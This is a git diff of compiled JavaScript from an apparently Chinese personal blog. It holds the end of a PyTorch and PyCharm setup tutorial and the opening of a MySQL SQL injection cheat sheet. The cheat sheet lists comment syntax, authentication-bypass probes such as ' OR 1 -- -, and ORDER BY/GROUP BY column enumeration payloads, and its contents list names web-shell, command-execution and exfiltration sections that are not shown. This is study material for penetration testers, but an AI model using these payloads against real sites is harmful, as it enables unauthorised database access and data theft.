env_name\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4\u5b89\u88c5\u4e24\u4e2a\u5305"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"conda install --offline pytorch\u538b\u7f29\u5305\u7684\u5168\u79f0\uff08\u540e\u7f00\u90fd\u4e0d\u80fd\u5fd8\u8bb0\uff09\nconda install --offline torchvision\u538b\u7f29\u5305\u7684\u5168\u79f0\uff08\u540e\u7f00\u90fd\u4e0d\u80fd\u5fd8\u8bb0\uff09\n"})}),"\n",(0,i.jsx)(e.h4,{id:"step-6\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f",children:"Step 6\uff1a\u68c0\u9a8c\u662f\u5426\u5b89\u88c5\u6210\u529f"}),"\n",(0,i.jsxs)(e.p,{children:["\u8fdb\u5165\u6240\u5728\u7684",(0,i.jsx)(e.strong,{children:"\u865a\u62df\u73af\u5883"}),"\uff0c\u7d27\u63a5\u7740\u8f93\u5165",(0,i.jsx)(e.code,{children:"python"}),"\uff0c\u5728\u8f93\u5165\u4e0b\u9762\u7684\u4ee3\u7801\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"import torch\n\ntorch.cuda.is_available()\n"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"False\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6761\u547d\u4ee4\u610f\u601d\u662f\u68c0\u9a8c\u662f\u5426\u53ef\u4ee5\u8c03\u7528cuda\uff0c\u5982\u679c\u6211\u4eec",(0,i.jsx)(e.strong,{children:"\u5b89\u88c5\u7684\u662fCPU\u7248\u672c\u7684\u8bdd\u4f1a\u8fd4\u56deFalse\uff0c\u80fd\u591f\u8c03\u7528GPU\u7684\u4f1a\u8fd4\u56deTrue"}),"\u3002\u4e00\u822c\u8fd9\u4e2a\u547d\u4ee4\u4e0d\u62a5\u9519\u7684\u8bdd\u5c31\u8bc1\u660e\u5b89\u88c5\u6210\u529f\u3002"]}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"Windows\u7cfb\u7edf"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u9a8c\u8bc1\u5b89\u88c5",src:s(42926).A+"",width:"1468",height:"766"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"Linux\u7cfb\u7edf"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:s(48971).A+"",width:"1218",height:"811"})}),"\n",(0,i.jsx)(e.p,{children:"PyTorch\u7684\u5b89\u88c5\u7edd\u5bf9\u662f\u4e00\u4e2a\u5bb9\u6613\u4e0a\u706b\u7684\u8fc7\u7a0b\uff0c\u800c\u4e14\u7f51\u7edc\u4e0a\u7684\u6559\u7a0b\u5f88\u53ef\u80fd\u5bf9\u5e94\u65e9\u671f\u7684\u7248\u672c\uff0c\u6216\u662f\u4f1a\u51fa\u73b0\u4e00\u4e9b\u5947\u5947\u602a\u602a\u7684\u95ee\u9898\uff0c\u4f46\u662f\u522b\u62c5\u5fc3\uff0c\u591a\u88c5\u51e0\u6b21\u591a\u9047\u5230\u70b9\u5947\u5947\u602a\u602a\u7684\u95ee\u9898\u5c31\u597d\u4e86\uff01"}),"\n",(0,i.jsx)(e.h2,{id:"124-pycharm\u5b89\u88c5\u53ef\u9009\u64cd\u4f5c",children:"1.2.4 PyCharm\u5b89\u88c5\uff08\u53ef\u9009\u64cd\u4f5c\uff09"}),"\n",(0,i.jsx)(e.p,{children:"VSCode\u8fd9\u4e9b\u4e5f\u662fok\u7684\uff0c\u5b89\u88c5PyCharm\u975e\u5fc5\u987b\u64cd\u4f5c"}),"\n",(0,i.jsx)(e.p,{children:"Linux\uff0cWindows\u6b64\u5904\u64cd\u4f5c\u76f8\u540c\uff0c\u6211\u4eec\u5efa\u8baeWindows\u7684\u540c\u5b66\u5b89\u88c5Pycharm\u5373\u53ef\uff0c\u56e0\u4e3a\u5728Linux\u4e0apycharm\u5e76\u4e0d\u662f\u4e3b\u6d41\u7684IDE\u3002"}),"\n",(0,i.jsxs)(e.h3,{id:"step-1\u8fdb\u5165\u5b98\u7f51\u4e0b\u8f7d",children:["Step 1\uff1a\u8fdb\u5165",(0,i.jsx)(e.a,{href:"https://www.jetbrains.com/pycharm/",children:"\u5b98\u7f51"}),"\u4e0b\u8f7d"]}),"\n",(0,i.jsx)(e.p,{children:"\u5982\u679c\u662f\u5b66\u751f\u7684\u8bdd\u53ef\u4ee5\u4f7f\u7528\u5b66\u751f\u90ae\u7bb1\u6ce8\u518c\u5e76\u4e0b\u8f7dProfessional\u7248\u672c\uff0cCommunity\u7248\u672c\u4e5f\u57fa\u672c\u80fd\u6ee1\u8db3\u6211\u4eec\u7684\u65e5\u5e38\u9700\u6c42\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"Pycharm\u5b89\u88c5",src:s(40862).A+"",width:"1903",height:"933"})}),"\n",(0,i.jsx)(e.h3,{id:"step-2\u914d\u7f6e\u73af\u5883",children:"Step 2\uff1a\u914d\u7f6e\u73af\u5883"}),"\n",(0,i.jsx)(e.p,{children:"\u6211\u4eec\u9700\u8981\u5c06\u865a\u62df\u73af\u5883\u8bbe\u4e3a\u6211\u4eec\u7684\u7f16\u8bd1\u5668\uff0c\u5177\u4f53\u64cd\u4f5c\uff1aFile --\x3e Settings --\x3e Project:\u4f60\u7684\u9879\u76ee\u540d\u79f0--\x3e Python Interpreter"}),"\n",(0,i.jsxs)(e.p,{children:["\u8fdb\u53bb\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u89c1\u4ed6\u4f7f\u7528\u7684\u662f\u9ed8\u8ba4\u7684base\u73af\u5883\uff0c\u73b0\u5728\u6211\u4eec\u9700\u8981\u5c06\u8fd9\u4e2a\u73af\u5883\u8bbe\u7f6e\u6210\u6211\u4eec\u7684",(0,i.jsx)(e.code,{children:"test"}),"\u73af\u5883,\u70b9\u51fb",(0,i.jsx)(e.code,{children:"\u9f7f\u8f6e"}),"\uff0c\u9009\u62e9",(0,i.jsx)(e.code,{children:"Add"})]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u6539\u73af\u5883",src:s(76809).A+"",width:"970",height:"700"})}),"\n",(0,i.jsxs)(e.p,{children:["\u70b9\u51fb",(0,i.jsx)(e.code,{children:"Conda Environment"})," \uff0c\u9009\u62e9",(0,i.jsx)(e.code,{children:"Existing environment"}),"\uff0c\u5c06",(0,i.jsx)(e.code,{children:"Interpreter"}),"\u8bbe\u7f6e\u4e3atest\u73af\u5883\u4e0b\u7684",(0,i.jsx)(e.code,{children:"python.exe"})]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"\u6539\u73af\u5883",src:s(45842).A+"",width:"835",height:"577"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6ce8\uff1a\u5982\u679c\u5728pycharm\u7684\u73af\u5883\u65f6\uff0c\u60f3\u8fdb\u5165\u6211\u4eec\u7684\u865a\u62df\u73af\u5883\uff0c\u8981\u4f7f\u7528",(0,i.jsx)(e.code,{children:"conda activate \u540d\u79f0"})]})]})}function o(n={}){const{wrapper:e}={...(0,d.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(t,{...n})}):t(n)}},5956:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/Linux_source-4185ab3d08326f5791913e50a81dfefd.png"},7721:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/Linux_GPU-04efab93f031ece1f4452ddbd96013a0.png"},28453:(n,e,s)=>{s.d(e,{R:()=>l,x:()=>a});var c=s(96540);const i={},d=c.createContext(i);function l(n){const e=c.useContext(d);return c.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function a(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:l(n.components),c.createElement(d.Provider,{value:e},n.children)}},34852:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/prompt-5d564648d27a39a7767664aa03e03484.png"},36579:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/Nvidia-630ef31ec1fc1115e72ab947fa644588.png"},40862:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/Pycharm-957b19361072403278e971b5efcf05fe.png"},42926:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/check_windows-bb6a0faca9fbb4bb392ef816aa03bb58.png"},45842:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/envs2-198a6d2179df41cf98ba39bb971d63b1.png"},45846:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/Pytorch-653d46576926d6154bf017c39568d143.png"},48971:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/check_linux-e2275cb42db9f7d4760d19639169a3c9.png"},50542:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/gpu-e2187203fc7525dc457a7a60f0909d53.png"},64610:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/choose_envs-1076fdf743d4980316859b6e45c41dca.png"},64936:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/table-4ce60677091cf4c2d5ffbf03c22184bf.png"},73929:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/Anaconda-762136515146dabffceabb1a4337ccac.png"},76809:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/envs1-451eb7783915f133dd69d25f11dc7f6e.png"},82082:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/download-4da7355589063c5959add8d34cc24970.png"},87704:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/source_ok-97abc2f9efd153bace45613782d98fa2.png"},96641:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/install-a1eb7825bd0c0f2e1b2ec2a5eca79ffc.png"},97998:(n,e,s)=>{s.d(e,{A:()=>c});const c=s.p+"assets/images/env_list-ea03e84eb7fb87adc8c4218773b9eb26.png"}}]); \ No newline at end of file diff --git a/assets/js/7991abfe.72d971a9.js b/assets/js/7991abfe.72d971a9.js new file mode 100644 index 0000000..8d2f1e6 --- /dev/null +++ b/assets/js/7991abfe.72d971a9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6591],{28453:(e,n,c)=>{c.d(n,{R:()=>r,x:()=>d});var s=c(96540);const l={},a=s.createContext(l);function r(e){const n=s.useContext(a);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:r(e.components),s.createElement(a.Provider,{value:n},e.children)}},70159:(e,n,c)=>{c.r(n),c.d(n,{assets:()=>i,contentTitle:()=>d,default:()=>h,frontMatter:()=>r,metadata:()=>s,toc:()=>t});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL","title":"MySQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/04.MySQL.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/04.MySQL.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Oracle","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle"},"next":{"title":"PostgreSQL","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL"}}');var l=c(74848),a=c(28453);const r={},d=void 0,i={},t=[{value:"MYSQL \u9ed8\u8ba4\u6570\u636e\u5e93",id:"mysql-\u9ed8\u8ba4\u6570\u636e\u5e93",level:2},{value:"MYSQL \u6ce8\u91ca",id:"mysql-\u6ce8\u91ca",level:2},{value:"MYSQL \u6d4b\u8bd5\u6ce8\u5165",id:"mysql-\u6d4b\u8bd5\u6ce8\u5165",level:2},{value:"\u57fa\u4e8e MYSQL \u8054\u5408",id:"\u57fa\u4e8e-mysql-\u8054\u5408",level:2},{value:"\u68c0\u6d4b\u5217\u6570",id:"\u68c0\u6d4b\u5217\u6570",level:3},{value:"\u4f7f\u7528 <code>order by</code> \u6216",id:"\u4f7f\u7528-order-by-\u6216",level:5},{value:"\u4f7f\u7528 <code>order by</code> \u6216\u57fa\u4e8e\u9519\u8bef",id:"\u4f7f\u7528-order-by-\u6216\u57fa\u4e8e\u9519\u8bef",level:5},{value:"\u4f7f\u7528 <code>UNION SELECT</code> \u57fa\u4e8e\u9519\u8bef",id:"\u4f7f\u7528-union-select-\u57fa\u4e8e\u9519\u8bef",level:5},{value:"\u4f7f\u7528 <code>LIMIT INTO</code> \u57fa\u4e8e\u9519\u8bef",id:"\u4f7f\u7528-limit-into-\u57fa\u4e8e\u9519\u8bef",level:5},{value:"\u4f7f\u7528 <code>SELECT * FROM SOME_EXISTING_TABLE</code> \u57fa\u4e8e\u9519\u8bef",id:"\u4f7f\u7528-select--from-some_existing_table-\u57fa\u4e8e\u9519\u8bef",level:5},{value:"\u4f7f\u7528\u4fe1\u606f\u63d0\u53d6\u6570\u636e\u5e93 _schema",id:"\u4f7f\u7528\u4fe1\u606f\u63d0\u53d6\u6570\u636e\u5e93-_schema",level:3},{value:"\u63d0\u53d6\u4e0d\u5305\u542b\u4fe1\u606f\u7684\u5217\u540d _schema",id:"\u63d0\u53d6\u4e0d\u5305\u542b\u4fe1\u606f\u7684\u5217\u540d-_schema",level:3},{value:"\u63d0\u53d6\u4e0d\u5e26\u5217\u540d\u7684\u6570\u636e",id:"\u63d0\u53d6\u4e0d\u5e26\u5217\u540d\u7684\u6570\u636e",level:3},{value:"\u57fa\u4e8e MYSQL \u9519\u8bef",id:"\u57fa\u4e8e-mysql-\u9519\u8bef",level:2},{value:"\u57fa\u4e8e MYSQL \u9519\u8bef-\u57fa\u672c",id:"\u57fa\u4e8e-mysql-\u9519\u8bef-\u57fa\u672c",level:3},{value:"\u57fa\u4e8e MYSQL \u9519\u8bef\u7684-UpdateXML \u51fd\u6570",id:"\u57fa\u4e8e-mysql-\u9519\u8bef\u7684-updatexml-\u51fd\u6570",level:3},{value:"MYSQL \u57fa\u4e8e\u9519\u8bef-\u63d0\u53d6\u503c\u51fd\u6570",id:"mysql-\u57fa\u4e8e\u9519\u8bef-\u63d0\u53d6\u503c\u51fd\u6570",level:3},{value:"\u57fa\u4e8e MYSQL \u9519\u8bef\u7684-NAME_CONST \u51fd\u6570\uff08\u4ec5\u9002\u7528\u4e8e\u5e38\u91cf\uff09",id:"\u57fa\u4e8e-mysql-\u9519\u8bef\u7684-name_const-\u51fd\u6570\u4ec5\u9002\u7528\u4e8e\u5e38\u91cf",level:3},{value:"MYSQL \u76f2",id:"mysql-\u76f2",level:2},{value:"\u5177\u6709\u7b49\u6548\u5b50\u5b57\u7b26\u4e32\u7684 MYSQL \u76f2",id:"\u5177\u6709\u7b49\u6548\u5b50\u5b57\u7b26\u4e32\u7684-mysql-\u76f2",level:3},{value:"\u4f7f\u7528\u4e8c\u8fdb\u5236\u67e5\u8be2\u548c REGEXP \u5728 ORDER BY \u5b50\u53e5\u4e2d\u8fdb\u884c MySQL \u76f2 SQL \u6ce8\u5165",id:"\u4f7f\u7528\u4e8c\u8fdb\u5236\u67e5\u8be2\u548c-regexp-\u5728-order-by-\u5b50\u53e5\u4e2d\u8fdb\u884c-mysql-\u76f2-sql-\u6ce8\u5165",level:3},{value:"MySQL \u76f2 SQL \u6ce8\u5165\u4e8c\u8fdb\u5236\u67e5\u8be2\u4f7f\u7528 REGEXP\u3002",id:"mysql-\u76f2-sql-\u6ce8\u5165\u4e8c\u8fdb\u5236\u67e5\u8be2\u4f7f\u7528-regexp",level:3},{value:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5\u7684 MYSQL \u76f2",id:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5\u7684-mysql-\u76f2",level:3},{value:"\u5e26 MAKE_SET \u7684 MYSQL \u76f2",id:"\u5e26-make_set-\u7684-mysql-\u76f2",level:3},{value:"\u5e26 LIKE \u7684 MYSQL \u76f2",id:"\u5e26-like-\u7684-mysql-\u76f2",level:3},{value:"MYSQL \u57fa\u4e8e\u65f6\u95f4",id:"mysql-\u57fa\u4e8e\u65f6\u95f4",level:2},{value:"\u5728\u5b50\u9009\u62e9\u4e2d\u4f7f\u7528 SLEEP",id:"\u5728\u5b50\u9009\u62e9\u4e2d\u4f7f\u7528-sleep",level:3},{value:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5",id:"\u4f7f\u7528\u6761\u4ef6\u8bed\u53e5",level:3},{value:"MYSQL DIOS-\u4e00\u6b21\u6027\u8f6c\u50a8",id:"mysql-dios-\u4e00\u6b21\u6027\u8f6c\u50a8",level:2},{value:"MYSQL \u5f53\u524d\u67e5\u8be2",id:"mysql-\u5f53\u524d\u67e5\u8be2",level:2},{value:"MYSQL \u8bfb\u53d6\u6587\u4ef6\u7684\u5185\u5bb9",id:"mysql-\u8bfb\u53d6\u6587\u4ef6\u7684\u5185\u5bb9",level:2},{value:"MYSQL \u7f16\u5199\u4e00\u4e2a shell",id:"mysql-\u7f16\u5199\u4e00\u4e2a-shell",level:2},{value:"\u8fdb\u5165\u5916\u573a\u6cd5",id:"\u8fdb\u5165\u5916\u573a\u6cd5",level:3},{value:"\u5199\u5165\u6587\u4ef6\u65b9\u6cd5",id:"\u5199\u5165\u6587\u4ef6\u65b9\u6cd5",level:3},{value:"MYSQL \u622a\u65ad",id:"mysql-\u622a\u65ad",level:2},{value:"MYSQL \u5feb\u901f\u5229\u7528",id:"mysql-\u5feb\u901f\u5229\u7528",level:2},{value:"MYSQL UDF \u547d\u4ee4\u6267\u884c",id:"mysql-udf-\u547d\u4ee4\u6267\u884c",level:2},{value:"MYSQL \u5e26\u5916",id:"mysql-\u5e26\u5916",level:2},{value:"DNS \u5916\u8fc7\u6ee4",id:"dns-\u5916\u8fc7\u6ee4",level:3},{value:"UNC \u8def\u5f84-NTLM \u54c8\u5e0c\u7a83\u53d6",id:"unc-\u8def\u5f84-ntlm-\u54c8\u5e0c\u7a83\u53d6",level:3},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function o(e){const n={a:"a",code:"code",h2:"h2",h3:"h3",h5:"h5",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u9ed8\u8ba4\u6570\u636e\u5e93",children:"MYSQL \u9ed8\u8ba4\u6570\u636e\u5e93"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Name"}),(0,l.jsx)(n.th,{children:"\u63cf\u8ff0"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"mysql"}),(0,l.jsx)(n.td,{children:"\u9700\u8981 root \u6743\u9650"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"information_schema"}),(0,l.jsx)(n.td,{children:"Availalble \u7248\u672c 5 \u53ca\u66f4\u9ad8\u7248\u672c"})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u6ce8\u91ca",children:"MYSQL \u6ce8\u91ca"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Type"}),(0,l.jsx)(n.th,{children:"\u63cf\u8ff0"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"#"})}),(0,l.jsx)(n.td,{children:"\u54c8\u5e0c\u6ce8\u91ca"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"/* MYSQL Comment */"})}),(0,l.jsx)(n.td,{children:"C \u6837\u5f0f\u6ce8\u91ca"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"/*! MYSQL Special SQL */"})}),(0,l.jsx)(n.td,{children:"\u7279\u6b8a SQL"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"/*!32302 10*/"})}),(0,l.jsx)(n.td,{children:"MYSQL 3.23.02 \u7248\u672c\u6ce8\u91ca"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:"-- -"})}),(0,l.jsx)(n.td,{children:"SQL \u6ce8\u91ca"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.code,{children:";%00"})}),(0,l.jsx)(n.td,{children:"\u65e0\u5b57\u8282"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"`"}),(0,l.jsx)(n.td,{children:"\u91cd\u97f3\u7b26"})]})]})]}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u6d4b\u8bd5\u6ce8\u5165",children:"MYSQL \u6d4b\u8bd5\u6ce8\u5165"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:["\uff1a\u67e5\u8be2\u4e3a ",(0,l.jsx)(n.code,{children:"SELECT * FROM Table WHERE id = 'FUZZ';"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"'\tFalse\n''\tTrue\n\"\tFalse\n\"\"\tTrue\n\\\tFalse\n\\\\\tTrue\n"})}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:["\uff1a\u67e5\u8be2\u4e3a ",(0,l.jsx)(n.code,{children:"SELECT * FROM Table WHERE id = FUZZ;"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"AND 1\t True\nAND 0\t False\nAND true\tTrue\nAND false\tFalse\n1-false\t Returns 1 if vulnerable\n1-true\t Returns 0 if vulnerable\n1*56\t Returns 56 if vulnerable\n1*56\t Returns 1 if not vulnerable\n"})}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:["\uff1a\u67e5\u8be2\u4e3a ",(0,l.jsx)(n.code,{children:"SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-ps1",children:"' OR '1\n' OR 1 -- -\n\" OR \"\" = \"\n\" OR 1 = 1 -- -\n'='\n'LIKE'\n'=0--+\n"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8e-mysql-\u8054\u5408",children:"\u57fa\u4e8e MYSQL \u8054\u5408"}),"\n",(0,l.jsx)(n.h3,{id:"\u68c0\u6d4b\u5217\u6570",children:"\u68c0\u6d4b\u5217\u6570"}),"\n",(0,l.jsx)(n.p,{children:"\u9996\u5148\u60a8\u9700\u8981\u77e5\u9053\u5217\u7684\u6570\u91cf"}),"\n",(0,l.jsxs)(n.h5,{id:"\u4f7f\u7528-order-by-\u6216",children:["\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"order by"})," \u6216"]}),"\n",(0,l.jsx)(n.p,{children:"\u4e0d\u65ad\u589e\u52a0\u8fd9\u4e2a\u6570\u5b57\uff0c\u76f4\u5230\u60a8\u5f97\u5230\u4e00\u4e2a\u9519\u8bef\u7684\u56de\u7b54\u3002\u5c3d\u7ba1 GROUP BY \u548c ORDER BY \u5728 SQL \u4e2d\u5177\u6709\u4e0d\u540c\u7684\u529f\u80fd\u6027\uff0c\u4f46\u5b83\u4eec\u90fd\u53ef\u4ee5\u4ee5\u5b8c\u5168\u76f8\u540c\u7684\u65b9\u5f0f\u7528\u4e8e\u786e\u5b9a\u67e5\u8be2\u4e2d\u7684\u5217\u6570\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' ORDER BY 1--+\t#True\n1' ORDER BY 2--+\t#True\n1' ORDER BY 3--+\t#True\n1' ORDER BY 4--+\t#False - Query is only using 3 columns\n #-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6216"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' GROUP BY 1--+\t#True\n1' GROUP BY 2--+\t#True\n1' GROUP BY 3--+\t#True\n1' GROUP BY 4--+\t#False - Query is only using 3 columns\n #-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsxs)(n.h5,{id:"\u4f7f\u7528-order-by-\u6216\u57fa\u4e8e\u9519\u8bef",children:["\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"order by"})," \u6216\u57fa\u4e8e\u9519\u8bef"]}),"\n",(0,l.jsx)(n.p,{children:"\u4e0e\u524d\u9762\u7684\u65b9\u6cd5\u7c7b\u4f3c\uff0c\u5982\u679c\u542f\u7528\u4e86\u9519\u8bef\u663e\u793a\uff0c\u6211\u4eec\u53ef\u4ee5\u7528 1 \u4e2a\u8bf7\u6c42\u68c0\u67e5\u5217\u6570\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+\n\n# Unknown column '4' in 'order clause'\n# This error means query uses 3 column\n#-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6216"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+\n\n# Unknown column '4' in 'group statement'\n# This error means query uses 3 column\n#-1' UNION SELECT 1,2,3--+\tTrue\n"})}),"\n",(0,l.jsxs)(n.h5,{id:"\u4f7f\u7528-union-select-\u57fa\u4e8e\u9519\u8bef",children:["\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"UNION SELECT"})," 